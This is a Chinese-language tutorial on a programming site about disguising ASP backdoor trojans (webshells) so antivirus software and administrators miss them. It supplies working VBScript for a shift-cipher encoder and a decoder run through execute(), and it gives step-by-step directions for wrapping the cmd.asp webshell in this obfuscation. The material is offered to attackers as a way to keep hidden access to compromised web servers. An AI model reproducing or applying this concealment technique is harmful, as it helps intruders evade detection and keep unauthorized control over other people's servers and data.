当前位置: 首页 > 图文教程 > 网络编程 > ASP > ASP后门之终极伪装

ASP
ASP基础讲座(下)
解决IIS5 HTTP500内部错误
ASP 3.0高级编程(四十六)
ASP 3.0高级编程(四十五)
ASP 3.0高级编程(四十四)
ASP 3.0高级编程(四十三)
ASP 3.0高级编程(四十二)
ASP 3.0高级编程(四十一)
ASP 3.0高级编程(三十九)
ASP 3.0高级编程(三十八)
ASP 3.0高级编程(三十七)
ASP 3.0高级编程(三十六)
ASP 3.0高级编程(三十五)
ASP 3.0高级编程(三十四)
ASP 3.0高级编程(三十三)
ASP 3.0高级编程(三十二)
ASP 3.0高级编程(三十一)
ASP错误代码说明
jscript错误代码及相应解释大全
ASP错误处理

ASP后门之终极伪装


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-08-14   浏览: 42 ::
收藏到网摘: n/a

记得当年asp木马出来的时候号称“永不被杀的木马”,呵呵,时至今日,随便什么杀毒软件都能将其杀得片甲不留^_^呵呵,受到木马换壳躲避杀毒软件思路影响,我们也可以给asp木马“加壳”(呵呵,当然不是用UPX等)。还等什么?请往下看。

其实这个思路很简单,就是把asp代码编码,执行时再解码。这里有两个方法,一是用微软的工具Script Encoder;二是利用asp的execute函数。

先说说Script Encoder。这个东东可以在微软官方网站免费下到,而且还附赠详细使用说明,这里就不多说了吧。但是经过它加密后的文件会有<%@ LANGUAGE = VBScript.Encode %>,呵呵,露马脚了,管理员看到这句话就知道这个asp文件被加密了。那怎么解密呢?这里提供一个解密软件(》点击进入下载《)。现在知道了吧,微软的Script Encoder不保险,所以呢,我们要自己写一个程序出来“加壳”。

asp的execute函数是拿来执行字符串的,即是说可以把asp语句写成字符串,然后用execute来执行。比如这行代码:execute("response.write(""hackerXfiles"")"),执行后的效果等同于执行response.write("hackerXfiles")。这里由于execute函数里的东东是字符串,故遇到引号要双写。呵呵,既然execute里是字符串,那么我们就可以把里面的东东拿来加密了。

怎么加密呢?呵呵,就用最简单的移位法好了。请看代码:


  but=1
  cc=replace(nr,vbcrlf,"胡")
  for i= 1 to len(cc)
    if mid(cc,i,1)<>"胡" then
      pk=asc(mid(cc,i,1))+but
      if pk>126 then
        pk=pk-95
      elseif pk<32 then
        pk=pk+95
      end if
      temp=temp&chr(pk)
    else
      temp=temp&"胡"
    end if
  next
  temp=replace(temp,"""","""""")
  response.write(temp)

这段代码就是asp下的循环移位法。那个变量but就是移位的位数,可修改。呵呵,怎么叫循环呢?因为程序会比较字符的ascii码,当大于126或者小于32时就会处理,使范围在32~126之间。因为这样可以避免出现windows不能显示的字符。这也是一开始就把回车换行符替换掉的原因。这里我自己写了一个移位加密的asp程序xor.asp附上,希望对你有帮助。

那就让我们来看看用上面代码把response.write("hackerXfiles")加密后的结果:“sftqpotf/xsjuf)#ibdlfsYgjmft#*”,嘿嘿,这回神仙也看不懂了吧^_^

既然加了密,当然要解密啦,看解密代码:

function UnEncode(temp)
  but=1 '这个是移位法所移的位数!注意修改此处与加密时使用的一致
  for i =1 to len(temp)
    if mid(temp,i,1)<>"胡" then
      pk=asc(mid(temp,i,1))-but
      if pk>126 then
        pk=pk-95
      elseif pk<32 then
        pk=pk+95
      end if
      a=a&chr(pk)
    else
      a=a&vbcrlf
    end if
  next
  UnEncode=a
end function

呵呵,现在知道怎么执行了吧,只需调用这个解密函数就是:execute(UnEncode("sftqpotf/xsjuf)#ibdlfsYgjmft#*")),怎么样,是不是顺利执行了!

在这里给大家一个示范,好让大家明白怎么加密asp木马。由于海洋的asp木马代码太多,我人又懒,就拿那个短小精悍的cmd.asp来示范吧!

首先运行我写的那个xor.asp,然后用记事本打开cmd.asp,将它的asp代码部分复制到xor.asp的文本框,填好移位参数(这里我用的1),点“转换”,呵呵,结果就出来了。然后新建一个文本文档,把cmd.asp的内容复制进去,前面那个UnEncode函数内容也添进去(这里要注意修改UnEncode函数里变量but的值与加密时选的移位参数值一致),然后把它的asp部分替换成execute(UnEncode(hu))的形式,其中hu用前一步得到的加密结果赋值。呵呵,然后保存为asp文件就ok啦!这里就再罗嗦几句。如果代码比较长,可以分成几部分加密,然后多用几个execute执行就是,但是要注意必须保证asp代码的完整性,也就是说不能把相关联的代码如if、end if分到两个execute里去了。

看看吧,同样可以运行!